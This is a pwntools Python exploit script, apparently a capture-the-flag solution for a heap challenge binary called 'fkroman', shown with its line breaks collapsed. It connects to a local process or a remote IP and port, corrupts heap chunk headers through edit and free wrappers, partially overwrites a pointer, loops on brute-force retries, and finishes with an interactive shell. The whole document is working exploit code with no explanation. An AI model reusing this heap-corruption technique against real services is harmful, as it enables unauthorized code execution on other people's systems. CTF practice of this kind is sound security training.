1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import *
local = 1 if local: p = process('./fkroman') else: p = remote("121.40.246.48","9999")
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "breakpoint_addr --> " + hex(text_base + 0x4060) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) def malloc(id,size): ru("choice: ") sl('1') ru("Index: ") sl(str(id)) ru("Size: ") sl(str(size)) def free(id): ru("choice: ") sl('3') ru("Index: ") sl(str(id)) def edit(id,size,data): ru("choice: ") sl('4') ru("Index: ") sl(str(id)) ru("Size: ") sl(str(size)) ru("Content: ") sd(data)
def pwn(): malloc(0,0x10) malloc(1,0x68) malloc(2,0x68) malloc(3,0x68) free(1) py = '' py += '\x00'*0x10 py += p64(0) + p64(0x91) edit(0,len(py),py) py = '' py += (p64(0) + p64(0x21))*5 edit(2,len(py),py) free(1) py = '' py += '\x00'*0x10 py += p64(0) + p64(0x71) edit(0,len(py),py) edit(1,0x2,'\xed\xfa') malloc(1,0x68) malloc(4,0x68) py = '' py += '\x00'*0x10 py += p64(0) + p64(0x91) py += p64(0) + '\x00\xfb' edit(0,len(py),py) malloc(5,0x80) py = '' py += 'a'*0x13 + '\x6a\x02\x65' edit(4,len(py),py) malloc(6,0x68) i = 0 while 1: try: i += 1 print i pwn() except Exception: p.close() if local: p = process("./fkroman") else: p = remote("121.40.246.48","9999") continue p.interactive()
|